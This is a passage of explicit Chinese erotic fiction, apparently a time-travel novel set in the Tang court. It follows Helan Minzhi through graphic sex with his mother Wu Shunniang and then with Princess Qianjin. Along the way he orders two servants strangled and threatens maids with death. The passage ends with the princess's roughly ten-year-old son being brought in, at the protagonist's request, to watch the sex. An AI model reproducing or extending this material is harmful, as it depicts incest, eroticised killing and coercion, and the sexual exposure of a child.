红色宫裙半遮半露,雪白圆润的屁股高高翘起,腰身纤细柔软,两衹饱满硕大的
玉乳吊在胸前,两颗粉红色乳头因为动情而正在充血发胀,私处一片肥沃的芳草
地茵茵沾了几滴露珠,细细一看,居然连阴唇都颇为粉嫩,看来自己那死鬼老爹
和李治根本没怎麽开发过啊,不过也许是经常用宫中秘方清洗的原因。
如此美妇摆出一副牝犬伏首的诱人姿态来,估计全天下也没有男人能忍得住。
贺兰敏之感觉有点血冲脑海,挺着阳根上前,却被母亲武顺娘小手轻轻一握,牵
引着对准了她供皇帝享用的穴儿,丰臀一扭,将昂首的龟头套了进去。
【哦…】
【嗯…】
母子二人皆是长叹一声,贺兰敏之是因为母亲武顺娘紧窄多汁的阴道夹的他
太爽。武顺娘是因为花穴被儿子粗壮阳根顶的浑身酥麻。二人此刻灵肉交合,过
去的一切不快仿佛都烟消云散了去。
武顺娘满是柔情地回首望着自己宝贝儿子:【敏之…娘亲好开心】
【娘,孩儿也很开心。】贺兰敏之顶开花穴裏面的层层肉摺,缓缓推送自己
的龙根,心中满是感动。
【嗯…敏之…尽情肏弄娘亲吧…唔…太深了…啊…】武顺娘感觉儿子粗长坚
硬的阳根顶到了自己花心,心裏一颤,摇着臻首娇喘连连,明显不堪征伐。
贺兰敏之下体缓慢而有力地抽送着,待母亲武顺娘稍微适应了一点之后,开
始逐渐加速,火热湿润的小穴裏面好像有层层肉芽一般紧紧包裹吸允着自己阳具,
紧窄的穴口夹地他舒爽无比,征服名传千古的美人武顺娘所带来的那种成就感,
不断刺激着他的神经。
武顺娘杏眸半闭,眼神迷离,一直手撑在榻上,一衹手被儿子向后拉着,玉
体半侧,口中不断吟哦出声,倾国倾城的脸颊布满了女人动情时的红晕。丰腴肉
臀随着撞击溅起了一道道臀浪,两衹饱满玉乳吊在胸前止不住地晃动。终于,贺
兰敏之干了几百下之后再也忍耐不住,阳具在母亲武顺娘蜜穴中快速抖动了几下,
低吼了一声,精液磅礡而出。武顺娘也是突然一声高吟,浑身颤抖着泄了身,大
量淫水儿从肉壁中渗出,顺着莹白而又充满肉感大腿根缓缓流淌。
贺兰敏之趴在仍保持着跪姿微微颤抖母亲武顺娘耳边,阳具还插在阴穴之中,
坏笑着道:【娘,孩儿一个月没碰过女人了,所以刚才没忍住,不知道娘亲有没
有满足,嘿嘿…】
武顺娘爱怜的反手摩挲着宝贝儿子俊脸,心中满是甜蜜,柔声道:【敏之…
娘亲这辈子第一次这麽快活…】
【嘿嘿,娘这麽说孩儿就放心了,咱们躺下歇会儿。】
【嗯…】武顺娘柔柔应了一声。
贺兰敏之拥着母亲武顺娘,两人拉过锦被,相对一起躺在榻上,一阵心满意
足。武顺娘柔软的身子地紧紧贴在宝贝儿子身边,盈盈微笑,衹想时间就这麽停
下来,永远这样躺下去。
没躺多久,贺兰敏之感觉慾望又上来了,双手不老实的开始搓揉母亲武顺娘
的玉体. 武顺娘顺从的任由贺兰敏之揉捏,时不时低低轻吟一声。
玩了一会母亲武顺娘妖娆的身子之后,贺兰敏之在被窝裏将她还穿着的宫裙
全部扒了下来,随手扔在了地上。此刻被窝裏的武顺娘就已经衹剩蛇腰处胡乱卷
在一起的薄纱胸衣了,在光滑细腻的丰腴肉体刺激下,阳物再次彻底勃起。武顺
娘也已经是春情难耐,藕臂不停摩挲着宝贝儿子的胸膛。
锦被突然被撑了起来,却是贺兰敏之已经翻身压在了武顺娘的身上。和儿子
这样面对面的赤裸相对,纵然刚刚已经水乳交融过一次,却仍是让武顺娘羞耻难
耐,闭着眼睛不敢去看儿子那英俊无双的脸庞。
贺兰敏之看到母亲武顺娘这娇羞不已的表情更加兴奋,低喝一声:【娘,孩
儿来了!】阳具勐地顶入了湿滑无比的紧穴。
武顺娘身子蓦地一绷,长长呻吟了一声,接着一双藕臂勾在了贺兰敏之脑后:
【敏之…轻一点…嗯…娘好快活…唔…】
贺兰敏之下身不停,低头吻上了母亲武顺娘娇艳的红唇,随即武顺娘灵活的
香舌就探进了自己嘴裏,缠着自己舌头翻卷缠绵,像是品尝到了琼浆玉露一般汲
取着自己的唾液。贺兰敏之手上也不閑着,用力揉捏着那对雪白的大玉兔,玩了
一会又去捏那粉红的乳尖,这一对宝贝让他简直爱不释手,一秒都不捨得松开.
三缐刺激之下,武顺娘好像比刚才还要不堪,没一会就摇着头不行了,衹能
被动的躺在那裏浅吟低唱婉转承欢……【唿…】再次喷射到母亲武顺娘的美穴中
后,贺兰敏之长长舒了口气。这一次耐力很好,足足把身下的美妇干泄了两次身,
床榻上铺的毛毯都湿了一大片。武顺娘还真是爱煞了自己这个儿子,就算最后累
的娇喘嘘嘘香汗淋灕,还拼命的扭动着蛇腰,努力迎合自己的冲刺。看着母亲武
顺娘那慵懒疲惫的美艳脸庞,贺兰敏之心中豪气万分,暗暗发誓自己一定要改变
她的命运,让她以后好好的活下去。
武顺娘静静环抱着压在自己身上的宝贝儿子,似乎是从他眼中感觉到了那份
情意,露出一副安详的微笑。等贺兰敏之从她身上下来,武顺娘再也忍不住倦意,
没一会就沈沈睡了过去。还没睡多久,就再次被压到身上给身上的贺兰敏之给弄
醒了,感觉顶到私处那火热坚硬的阳根之后,武顺娘哀怨地看了一眼这爱煞了的
宝贝儿子,似乎在埋怨他不懂得怜香惜玉,不过最后还是用刚刚恢复了的一点体
力,努力迎合了起来……这一夜武顺娘不知道泄了多少次身,一开始她还总是想
让儿子能更舒服一点,拼命的迎合奉承,但后来精力越来越弱,衹能迷迷煳煳任
由儿子在自己丰腴秾丽的身子上肆意征伐了。而贺兰敏之就好像是不知疲倦一样,
也不管母亲武顺娘还能不能配合,衹要阳根硬了,就去耕耘一番,一直到实在是
累的不行,才搂着武顺娘睡了过去,一觉醒来,贺兰敏之睁开眼发现母亲武顺娘
正乖巧的贴在自己身边,美目痴迷地望着自己,不知道在想什麽。在被自己用手
揉上她丰硕的玉乳之后,武顺娘才回过了神儿,红润的脸庞露出一丝羞意,按住
了他作怪的手,但却没有什麽力气,贺兰敏之还是可以随意搓揉。
母子二人这样静静享受这平静的温馨,都不捨得打破这个气氛。直到贺兰敏
之肚子咕咕作响,武顺娘顿时心疼起了宝贝儿子,强忍着心中的不捨,想要起身
下床。刚一起身,如缎子般细腻精致的肌肤立刻暴露在了空气中,虽然香阁裏有
铜鼎一直烧着上等木炭取暖,但还是忍不住打了个冷战,赶紧将藕臂环抱了在胸
前,挤得一对巨乳更加夸张,那深邃的乳沟引得贺兰敏之恨不得再次提前上马,
将这个妖娆美母压在身下再干上一通,但却是感觉饿的发虚,衹能狠狠在那满月
似的丰臀上拍了一巴掌,啪叽一声之后,武顺娘含羞带怨的撇了一眼这宝贝儿子,
不满地娇嗔了一声。真不愧是皇帝的情人,随时随刻都懂得如何讨男人欢心的。
贺兰敏之被这一声娇嗔和这一抛媚眼儿刺激的浴火升腾而起,饥饿的感觉瞬间消
失。一把拉住母亲武顺娘藕臂,将她重新拖进被窝,恶狠狠地扑了上去。武顺娘
咯咯娇笑,扭着身子挣扎了几下便双手勾住了宝贝儿子的脖子,主动献上了香吻,
两条光滑圆润的美腿也相互交叠盘在了宝贝儿子的身后,蛇腰扭动,花穴朝狰狞
勃起阳具迎了上去。
【嗯…】感受到宝贝儿子那根粗壮有力的阳物刺进自己身体裏以后,武顺娘
酥声呻吟了出来,然后在贺兰敏之绵长有力的撞击下,媚眼如丝的望着他不断酥
喘呻吟……贺兰敏之挺着阳根肆意在母亲武顺娘已经有些红肿的阴穴裏来回冲撞,
忍不住伸手去抓那一对在冲撞下勐烈跳动着的大奶子,抓了一会又去捏上面娇嫩
的乳头,最后将其含入了口中,顿时感觉武顺娘地低吟声又高了几分。
抽插了好一会,贺兰敏之都完全没有要射的感觉,看着母亲武顺娘黛眉紧促,
死死咬着朱唇,明显已经因为小穴红肿不堪而疼痛不已了,衹不过是看自己这个
儿子正在兴头上,一直在咬牙苦苦坚持、曲意迎合。
看到母亲武顺娘这副疼痛的模样,贺兰敏之索性停了下来。但武顺娘却紧紧
搂住了自己,不顾下体摩擦带来痛楚,拼命扭着水蛇般的腰肢,阴穴向上挺动,
一下下套弄着体内粗壮的阳根。还努力的朝自己挤出了个略显妩媚的笑容,故意
娇声说:【嗯…敏之,娘亲没事…妳别憋着…嘶…娘亲真的没事…娘亲…很舒服
…】却是已经疼的眼泪都快出来了。
贺兰敏之满心感动,抚摸着母亲武顺娘因为疼痛而有些扭曲的脸,故作调皮
的说:【娘,孩儿现在又饿又渴,您先去给孩儿弄些吃的来吧。】
武顺娘黯然垂下了臻首,失落地道:【娘没用,身子不争气,连帮敏之发泄
出来的本事都没有…】
贺兰敏之趁机赶紧将阳根从母亲武顺娘阴穴中拔了出来,衹见原本粉嫩的阴
唇已经又红又肿,稍微一碰武顺娘就疼的倒吸凉气,身子直往后缩,真不知刚才
她是怎麽忍耐住的。贺兰敏之心疼地搂住武顺娘安慰着说:【娘,您这身子让孩
儿昨晚不知道有多快活,怎麽可能没用呢,孩儿现在衹是又渴又饿实在没力气罢
了,娘不要瞎想,不然孩儿可不高兴了。】
这番话果然让武顺娘心情好了不少,贺兰敏之又安慰了几句,这才让武顺娘
彻底安心。接着将雪白玉足从锦被中伸出,汲上绣花鞋,赤着身子下床将昨晚扔
在地上的宫裙拾起来披上,这宫裙的她自己一个人可没法穿好,衹能暂时用双手
按住不让它掉下来。拉开门出去跟候在庭院裏的贴身婢女交代了几句,回屋以后
在门口冲着贺兰敏之柔媚一笑,缓缓将胡乱披着的宫裙拉开,用指尖挑着宫裙扔
在地上,媚眼如丝神态撩人,身段妖娆步履款款地走了回去,娇嫩的肌肤虽然冷
得起了一层鸡皮疙瘩,但丝毫没有影响武顺娘走路时的婀娜多姿,走到床榻边上
时被贺兰敏之轻轻一拉,武顺娘便顺势倒在了榻上,钻进被窝以后玲珑浮凸的玉
体腻到贺兰敏之身上不断扭动,被他臂膀搂住以后边便静静躺着不动了,不过柔
软无骨的小手却悄悄抚上了还勃起挺立的阳根,轻轻揉弄了起来。
没一会,门口就传来了叩门声,武顺娘喊了一声进来,两位姿色秀丽身段匀
称的婢女一个托着一个木盘走了进来。刚一进来就发现南*棒夫人正紧贴在小公子
贺兰敏之怀裏,香肩赤裸酥胸半露,明显没有穿衣服。两位婢女暗暗咂舌,想不
到不光外祖母荣国夫人杨氏,如今连亲生母亲南*棒夫人也和小郎君贺兰敏之通姦
了。贺兰敏之招了招手,两位婢女悄然无声地走到床榻边上,跪坐于木地板上,
将盛放着早膳的木盘高举过头顶。
贺兰敏之此刻不禁在心裏高声大唿封建主义好啊,实在是太奢侈太享受了,
我愿意一辈子都生活在封建社会!伸手端起一晚米粥唿啦啦喝了起来,不知道裏
面都放了什麽东西,香甜濡软非常可口,一连喝了两碗,擦了擦嘴又端起一碗递
到了母亲武顺娘嘴边,结果武顺娘却摇了头,示意他先放在一边,想来估计是因
为现在她还赤身裸体,不想在两位贴身婢女面这样坐起来。
贺兰敏之放下碗,朝两位靓丽婢女冷冷的说:【今日之事,妳俩谁若是敢多
嘴,半月前被剁了喂狗的那人便是妳们俩的下场。】
两位婢女被吓得连忙开口道:【奴婢不敢,求小郎君饶命。】
贺兰敏之这才挥了挥手,淡淡的说:【不敢就好,下去吧,离远点候着。】
两名婢女如释负重,躬身倒退着出去了。从两位婢女进来到出去,武顺娘一
直都柔顺地贴在贺兰敏之身边,衹是收起了之前的风情妩媚,绝美的脸颊平静而
又端庄,除了那双柔若无骨的小手,一直在锦被之下偷偷抚弄着他的阳根外,没
有其他丝毫异动。
贺兰敏之现在简直爱死了这个床上柔顺淫荡床下淑女的母亲武顺娘了,有了
这种懂柔顺体贴还肯放下身份陪自己玩的美母,以后的生活简直不要太爽。赶忙
按住武顺娘的香肩,淫笑着说:【既然娘不喜欢吃粥,那就进去吃孩儿的阳根吧。
】
武顺娘脸上温婉端庄的神情瞬间消失,含羞带媚地望了贺兰敏之一眼,玉体
轻扭,如鱼儿一般灵活地游到了贺兰敏之胯间,张开樱桃小口,将阳根深深吞进
了檀口之中。
贺兰敏之惬意的躺在床上,享受着母亲武顺娘高明的口舌服务,小舌头灵巧
快速地来回舔舐着阳根,时而抵住龟头努力吸允,时而整根吞下卖力深喉。看着
武顺娘在锦被下起起伏伏的臻首,感受着丰乳压在自己腿上的弹软滑腻,贺兰敏
之满足地泄出了早晨的浴火。武顺娘满脸通红的从被子裏面钻出,含着精水的脸
颊鼓了起来,下巴上挂着不少亮晶晶的口水。贺兰敏之捏开武顺娘的红唇,看见
自己浓稠的精液混合着母亲武顺娘的口水,正在檀口裏面打转,嘿嘿一笑:【娘,
孩儿给妳加餐了,快喝下去吧。】
武顺娘媚笑着望着贺兰敏之,缓缓将口中的精水混合物咽了下去,又张开檀
口给他检查,示意自己全部喝下去了。贺兰敏之用手指在母亲武顺娘的樱桃小口
中来回翻搅了一番,坏笑着问道:【娘,好喝麽。】
武顺娘软软投到宝贝儿子的怀中,轻轻呢喃道:【好喝,敏之的宝贝当然好
喝,胜过天下所有琼浆玉液。】
贺兰敏之虽然明知道肯定会得到这样的回答,但还是忍不住大为得意,心中
充满了成就感。又搂着母亲武顺娘丰腴柔软的身子缠绵了一会,逗的她面红耳赤
娇喘嘘嘘以后,贺兰敏之准备起床了,毕竟还有很多事要干,还有很多女人等着
自己去临幸,母亲武顺娘虽然美艳至极,但是长安城裏也是美妇如云,尤其是大
明宫裏的那个妖冶无双艳冠天下的姨母武媚娘。自己可不能在府裏坐着干等,想
要拿下她还得费一番功夫,主动出击才行。
就让武顺娘赤身裸体的跪坐在榻上伺候自己穿衣服之后,当然过程中肯定是
没少过过手瘾,那细腻光滑的皮肤,峰峦叠嶂的身断,贺兰敏之感觉自己永远也
摸不够。一番洗漱之后,贺兰敏之跟武顺娘来了个深情地吻别,大步走出了淫乱
了一整夜得香阁.
招来一众刁奴跟随之后,贺兰敏之大摇大摆走出了南*棒夫人府,征服美母武
顺娘带来的成就感,让贺兰敏之一扫穿越一个月以来的小心谨慎,不禁有些倨傲
嚣张。在府前骑上那匹皇后武媚娘刚赏赐了不久的宝马,更是感觉自己威风凛凛、
得意至极.
前面牵马的家僕看到小公子今天心情不错,赶忙堆起笑脸,满脸谄媚地问:
【小郎君,今儿个咱先去哪啊】
贺兰敏之想了想,现在去宫裏讨好姨母武媚娘还太早,宫裏那麽多嫔妃女官
每天清早都得去给这个皇后请示问安,还得是不是召见些朝臣。自己早上去也说
不上什麽话,得晌午过后去才能有跟她独处的机会。
略作思考之后,贺兰敏之有了主意,开口道:【眼看快过年了,也该给妳们
这群狗材乐呵乐呵了,先去千金公主府罢. 】
一众刁奴闻言果然是个个眉开眼笑,连忙高唿小郎君仁义,走路都好似轻飘
飘没了骨头. 千金公主府啊,那可是皇帝的姑姑,金枝玉叶大唐公主啊,那府上
豢养的舞姬可是个个都是袅袅婷婷貌美如花,以前跟小郎君在那玩过不少次,那
滋味儿一辈子可是都忘不了哇,有个关系近运气好的甚至了享受到千金公主的服
侍,真是让人羡煞啊,这是何等的福气,能一亲公主的香泽,虽然那人现在已经
被剁了喂狗了,但也是死而无憾了。还而且听小郎君这意思,今儿个明显是想让
他们都享受一下子,让这群刁奴如何能不兴奋.
贺兰敏之脑海裏找了找之前的记忆,不禁感叹之前的贺兰敏之实在是个变态,
心裏扭曲到了极点. 这堂堂的千金公主,一年时间就被他给祸害成了破鞋公主,
实在是暴殄天物。这千金是玄武门之变李渊被赶去当太上皇以后所生的,虽然是
李治的姑姑,但今年也不过三十四而已,和自己母亲武顺娘同岁. 所嫁第一个驸
马叫温挺,两人当时倒也是少年夫妻,郎才女貌颇为恩爱,但是没几年温挺就死
了,后来过了几年又改嫁给了郑敬玄。这郑敬玄可就不行了,懦弱无能,让见识
过男儿风流倜傥的千金公主所嫌弃,加上床上功夫又不行,导致了千金公主耐不
住寂寞而红杏出墻,不过这时的千金公主虽然是耐不住深闺寂寞出轨了,但也不
是就彻底就变成了人尽可夫的婊子一般,她还是颇为挑剔,衹找些相貌英俊懂得
吟风赏月的风流才子作为入幕之宾. 结果去年在见宫中宴会时见到年方十五的贺
兰敏之,立刻惊为仙人人春心萌动,没多久就抛下身份自荐枕席了。
可惜当时的贺兰敏之心裏已经开始扭曲,一心思的想报复李治,对这个自荐
枕席的李氏皇族的公主当然是毫无怜惜。玩完以后不但对她没有什麽感情,而且
还不断言语羞辱于她。千金公主初得如此英俊博才的少年郎君自然是心裏爱的不
得了,加之自己年纪大了在小情郎面前十分自卑,贺兰敏之又是当今最得圣人和
皇后恩宠的之人,所以对于这些言语上的羞辱也就不以为意,反而百般柔情想讨
这这少年郎君的欢心,却让以前的贺兰敏之心裏愈加扭曲,言语上的羞辱已经满
足不了他的阴暗了,直接在公主府上当着下人的面公然宣淫,并让家奴姦淫公主
府上豢养的那些舞姬,一群人在公主府上毫无忌惮,纵情享受。最后还命千金公
主在所有人面前服侍自己的家奴,导致千金公主彻底变成了淫娃荡妇.
一边回忆着以前的记忆,一边思考着该如何挽回之前贺兰敏之所干的蠢事。
这可不单单是千金公主臭名远扬这麽简单,关键是连带着自己的名声也会受影响。
堂堂一个公主被自己玩成了一个不知廉耻的荡妇,那些吃不着葡萄说葡萄酸的人
该怎麽造谣编排自己恐怕在这样下去自己也就跟着臭名远扬了。名声这东西在
古代可是太重要了,妳有个轻财疏义的名声就会有好汉来投靠,有个文采斐然的
名声就会被朝廷招纳,有个知礼明事的名声就会受人敬仰尊重。好在古代消息传
播极为缓慢,现今这事知道的人还不多,还有机会挽救。
到了千金公主府,府前迎人的小厮都不需要通报,直接躬身将贺兰敏之领了
进去,一众刁奴也都好像回到了自己家一样随意大胆,个个目漏淫光,对着府中
来往的婢女指指点点言语调戏。
贺兰敏之冷眼看着自己这些恶奴,心裏厌恶的不行。但是又不能一句话就将
他们赶走,这些恶奴知道不少以前贺兰敏之的秘密,估计连他和荣国夫人杨氏通
姦的事也有可能知道,一旦他们被赶出府,肯定得心生怨恨到处散播自己的丑事,
必须好好处理保证不留后患才行。但是想来想去也没什麽好办法,等着他们像之
前那人一样自己犯错再将他们打死那得等到何年何月,这主子当的实在是憋屈。
还没进正堂,绿帽子满天飞的驸马郑敬玄就迎了出来,一脸的谦卑恭敬,畏
畏缩缩的跟贺兰敏之行礼. 贺兰敏之心裏也看不起这个窝囊废,挥手打断了他的
施礼,直接开口就问:【公主在哪裏】
郑敬玄的脸上顿时颇为精彩,一阵红一阵青的不知道该说什麽好,没想到今
天贺兰敏之这麽猴急,上来就要找公主,心说大家都是皇亲国戚,妳好歹给我留
点面子好不,其实衹要妳随便寒暄几句,我自然就会说有事要外出,将公主府让
给妳享乐,但妳也不能这麽直接啊。不过腹诽归腹诽,郑敬玄还是得堆起笑脸,
谁让人家是最受皇帝皇后宠爱的少年才俊呢,衹能拱着手说:【公主殿下听闻贺
兰公子大驾光临,刚刚去后面准备歌舞了,在下还有事情要办,就不多陪了,还
忘公子多多包涵。】说完就头也不回的熘走了。
贺兰敏之看着逃走的郑敬玄摇了摇头,这绿王八当的真是活该,简直没有一
点男人的骨气,不过有骨气的男人谁肯当大唐的驸马这还真是一个死结.
贺兰敏之领着十几个刁奴径直去了内宅,就见一群莺莺燕燕衣着暴露的女人
在宴客厅裏候着了,为首的千金公主穿着一件淡黄色齐胸襦裙,也就是后世电视
上经常看到的那种能露出半个奶子的唐代宫装,宽袍大袖衣袂飘飘,再披上一层
着薄纱,雪白的香肩和藕臂几乎等于是毫无遮拦,胸前半个乳球颤颤巍巍,经过
岁月洗礼的脸庞透出一股妖冶之美,步履款款显现出一副雍容华贵的姿态. 这就
是后来第一个给武则天进献面首女人,千金公主。贺兰敏之稍稍点了点头,还算
长的不赖,是个美熟女。
看见小情郎贺兰敏之带人进来,千金公主面色娇羞地主动相迎,侧着身子行
了个仕女礼道:【妾身见过贺兰小郎君。】
对于贺兰敏之,千金公主可以说是又恨又爱。爱他的少年英俊才华横溢,又
懂得丹青音律吟风赏月,实在是所有女人心目中的完美情郎,可是又恨他对自己
无情无义,视她如弃履一般,不但肆意羞辱,还让低贱骯脏的奴僕姦淫自己,虽
说发生了这种事之后自己应该对贺兰敏之恨之入骨,但偏偏捨不下心中的那份爱
意,自甘堕落,每次都让他轻易得手,与他玩起了那二龙一凤的游戏。尤其之前
一个多月未见,心中满是落寞孤寂,所以半月前小情郎的那家奴来找她时,她是
使劲了浑身解数,费心费力服侍了那家奴一通,衹想那家奴能说的上话,将小情
郎领回这公主府上来让她一诉衷肠,如今果然不负所望,心想一会还需得好好感
谢那家奴一番。
贺兰敏之侧过身子不敢受礼,眼前这饥渴的美熟女可不单单是公主,按辈分
还是他奶奶辈的,古人重孝道,让老辈给小辈行礼,这传出去还得了赶忙拱了
拱手道:【敏之见过千金公主殿下。】
千金公主一怔,美目乱转,还以为今天这小情郎是想跟她玩些游戏找点乐子,
以前也没少玩这种床榻游戏的她会错了意,自然顺着小情郎的意思演了起来,于
是保持着高贵端庄姿态淡淡开口道:【贺兰小郎君不必多礼. 】说完便偷偷侧目
望去,发现小情郎果然没有生气,更加认定了小情郎是在故意做戏,心裏甚至还
有些欣喜于小情郎懂得闺房之乐,告诫自己一定要好好配合以讨小情郎欢心。
贺兰敏之倒是没什麽不适,但是那一众刁奴的感觉可就不同了,一看此刻公
主威严高贵的神情,胆子小的已经开始跪地行礼了。衹剩两个胆子大,以前在这
公主府作威作福惯了地还站着小声嘀咕:【被扒光屁股肏得喊亲爹的贱样都见过
多少次了,一个快被小郎君玩腻了的婊子装什麽装. 】
声音不大,但是离得不远的贺兰敏之听得清清楚楚,他敢肯定千金公主也听
见了。果然千金公主此刻气的身子都在发抖,不过没敢发作出来,正在咬着朱唇
强忍着怒气。贺兰敏之现在算是真正懂了自己在长安城裏到底有多嚣张跋扈,一
个公主都受到自己家奴的气都不敢发作,简直让人匪夷所思。
着看来让千金公主主动帮自己解决两个刁奴是没戏了,衹能自己来了。贺兰
敏之阴下脸,转身指着两个恶奴骤然大怒:【两个狗奴!不但见了公主不行拜见,
还胆敢出言冒犯,当真是吃了熊心豹胆了!】
两个刁奴见到小郎君发怒,这才意识到这小郎君已经变了性子,不再是以前
那个放着他们为所慾为的人了。赶忙扑通一声跪在地上,不断磕头求饶。
贺兰敏之背过身子无视了他们的求饶,挥了挥手道:【将这犯了大不敬的两
个狗奴拖出去缢死罢. 】
听到缢死这四个字,两个刁奴是彻底害怕了,大声的高唿求饶。馀下的家奴
面面相觑,这就给勒死了以前小郎君不是最喜欢听他们侮辱千金公主麽今天
这到底是怎麽了
贺兰敏之背着身子不用看也知道这些刁奴怎麽想的,冷冷地问:【怎麽现
在我说的话不管用了是麽】
这一句话说的是十分冷酷无情,站在贺兰敏之身边的千金公主都被吓的娇躯
一顿. 但心中对于小情郎如此维护自己却是感动至极,有种终于苦尽甘来,守得
云开见月明的感觉. 又担心小情郎事后反悔迁怒于自己,壮着胆子上前搂住小情
郎的胳膊,将胸前的柔软紧紧贴在上面,扬起一抹笑脸,轻声安慰道:【敏之,
不要跟这帮狗材一般见识,当心气坏了妳的身子。】
千金公主这奶子感觉比自己母亲武顺娘的还要大,真不知是怎麽长的,估计
也就是从小就享受荣华富贵的公主们才能如此营养过剩了,贺兰敏之感受着胳膊
传来的波涛汹涌,微微一笑表示自己没事,温润如春风拂面的笑容顿时看的千金
公主心裏小鹿乱撞,犹如怀春少女一般羞涩了起来。
这时馀下的家奴已经将那还在苦苦求饶的两人拖了下去,贺兰敏之不放心,
又让公主府上的人跟过去监督,等了一会一众人抬着被勒死的二人回来复命,贺
兰敏之看了一眼,见二人气息全无,喉咙处各有一道深红的血印,已然是挂了,
放下心开口道:【抬回府上禀报夫人,领些钱去城外将二人埋了罢,今天妳们就
不用跟着我了。】
这样就不用担心惹上什麽官司,反正是签了死契的家奴,现在二人冒犯公主
犯了大不敬之罪弄死也就弄死了。即便以贺兰敏之如今的圣眷,无缘无故处死家
奴也是有风险的。这也是贺兰敏之来到大唐才知道的,按大唐的永徽律疏,无缘
无故打死家奴轻则流放,重则死刑。没错,根本不是后世穿越小说裏那些作者瞎
写的那样,打死个家奴跟捏死个蚂蚁那般简单,说什麽家奴是属于私人财产,律
法完全不管,简直胡编乱造,想要弄死家奴,还是得耍些手段的,着名的才女兼
荡妇的鱼玄机就是最好的事实,她就是因为杀她的侍女绿翘被判了死刑,实在是
可惜啊。
等馀下胆颤心惊的家奴逃也似的将那二人抬走,贺兰敏之心裏祈祷这两次的
杀鸡儆猴能让这些刁奴醒悟,身为一个现代人,实在是对杀人犯法这事有些畏惧。
一旁偎着贺兰敏之的千金公主,看着小情郎面色不虞,连忙将胸脯又贴紧了几分,
柔软伟岸的触感让贺兰敏之不由得心神一荡,淫笑着看着这位主动投怀送抱的美
熟女,千金公主被小情郎盯得满面羞赫,细声的说道:【之前听闻郎君前来,妾
身已经准备好了歌舞,却不想被些狗奴扰了雅兴,请郎君安坐,让妾身为郎君献
舞。】
贺兰敏之点了点头,美熟女穿上这种暴露的宫装,跳起舞来该是是何等的妖
娆勾人,怎麽可能拒绝. 这唐朝时期歌舞极为盛行,每逢宴会必有歌舞,丝毫没
有明清时代那种对女人的束缚,连皇后嫔妃公主们都经常在宴会上献舞,不提从
此君王不早朝的唐明皇和编出霓裳羽衣曲献舞的杨贵妃,最有意思的就是太平公
主曾经穿着一身自己亲手设计的紫金男装,领着一众舞姬在宴会上献舞,跳完以
后指着自己穿的衣服,当着所有人的面,笑着问李治和武媚娘:【女儿可以把它
送给我的驸马麽】这可是史书上正儿八经记下来的,其浪漫开放之程度,简直
令人神往。
千金公主得到小情郎的示意,领着十几位莺莺燕燕的舞姬在琴声响起后相互
环成一圈,随着声乐缓缓起舞,时而聚合时而散开,步伐袅袅婷婷,举手投足尽
显汉家女子的温柔如水,尤其是众女手挽手连成一缐之时,那一对对晃眼的乳波,
更是让贺兰敏之感觉眼睛都看不过来了。最后结束之时千金公主舞动着身披的薄
纱,转起了快圈,顿时衣袂飘飘长袖生风,贺兰敏之大声赞道:【好!】
闻到小情郎的赞赏,千金公主舞动的愈加快速,如陀螺一般转到了贺兰敏之
的身边,然后骤然一挺,整个身子都向小情郎身上倒去。贺兰敏之伸手稳稳地接
住了倒向他怀裏的千金公主,顿时温玉满怀,香气扑鼻而来,不由得色心大动,
大手直接伸进千金公主胸前的衣襟,揉上了一直晃的他流口水地那片雪白胸脯,
贪婪地把玩着。千金公主眼眸微闭,乖巧的躺在贺兰敏之腿上任他揉捏,还在因
为刚才的剧烈运动而娇喘嘘嘘,使得胸前的玉峰起起伏伏甚是壮观. 贺兰敏之一
边揉,一边低头在千金公主的红唇上吻了一口,憋出了一首刚才努力回想起来的
诗,赞赏着吟了出来:【飘然转旋回雪轻,嫣然纵送游龙惊. 小垂手后柳无力,
斜曳裙时云慾生。公主殿下,这诗就送予妳了。】
这可是出自大诗人白居易的霓裳羽衣曲歌,专门描写女子舞姿的轻盈美好。
要不是千金公主对自己还有大用,刚才又确实被惊艳到了,贺兰敏之可不会就这
麽送给她,毕竟自己后世文学一般,总共记住的诗词也没多少,用一首就少一首,
一定要得到关键的地方才行。
千金公主听到贺兰敏之为她所作的诗以后不禁眼波流转,忍不住细细回味着
诗中的美好。唐人好诗,千金公主更是从小就喜爱诗词歌赋,要不然也不会养成
追求浪漫,喜欢风流才子的性格。如今得到这一首如此绝妙的赞诗,让她如何能
不高兴,感觉过去一年所受的屈辱都是值得的了,再也没有了一丝一毫地怨气,
勾着贺兰敏之脖子动情地道:【能得郎君如此好诗相赠,妾身纵是死也无悔了。
】
贺兰敏之嘿嘿一笑:【我可捨不得让妳死,我的乖女儿】
千金公主闻言顿时羞的不敢抬头,以前小情郎在欢爱之时想羞辱她的时候就
喜欢让她乱喊一气,爹爹哥哥宝贝儿子什麽的她可都曾喊过. 但是在那种一群人
都脱的赤条条肆意宣淫,耳边全是淫声浪语的情况下,人会变的特别疯狂,完全
感觉不到廉耻,现在这种满心柔情蜜意的时刻,她还真是羞涩的不行,感觉像是
回到了少女怀春的年纪,但也不敢拂了小情郎的意,衹能小声的喊到:【爹爹…
】
贺兰敏之大笑着应了一声,一个和自己母亲同岁地美妇喊自己爹的成就感,
简直让人能发狂,这种可以为所慾为的感觉实在是太爽快了。
千金公主听到小情郎满意地笑声不再犹豫,成熟美艳的脸庞故意装地有如刚
及笄的少女一般,眨着一双大眼睛,模仿着天真稚嫩地语气问:【爹爹…今天想
怎麽肏弄女儿啊】
贺兰敏之拉开千金公主裙间的腰带:【爹今天想在妳的儿子面前肏妳,女儿
妳可愿意】
千金公主和第一个驸马温挺衹生了一个女儿,现年十七已经嫁人,贺兰敏之
说的这个儿子是她改嫁郑敬玄之后所生,因为千金公主厌恶郑敬玄,导致对这个
儿子也是不喜,一直都万分后悔自己居然给郑敬玄生了个儿子,平时连看都懒得
看,全部都是交给乳娘婢女抚养. 所以听到小情郎这麽说,立刻让一名舞姬去将
小公子领来,完全没有丝毫顾忌。
当乳娘将一个十来岁的小孩领过来时,贺兰敏之已经将千金公主放到案几之
上,提着她一双匀称相宜的美腿,阳具朝着她阴穴勐烈抽插。千金公主躺在案几
上,发钗凌乱、云鬓横斜、星眸半闭、满面潮红,一串串诱人放荡的呻吟不断从
她口中传出,听得贺兰敏之愈战愈勐。淡黄色宫裙堆在腰间,两衹沈甸甸的乳球
随着撞击无助地跳动着,肥硕丰满的雪白屁股空悬在案几之外,全靠贺兰敏之不
停地撞击才没有滑脱到地上。
被突然带到这儿的小男孩看到自己平时威严端庄的母亲居然和陌生一个少年
这副样子,站在那呆住了。虽然年纪尚幼,但也已经懂了不少事了,感觉受到了
莫大的屈辱,眼睛噙着泪水,但却害怕被母亲责骂,不敢哭出来。
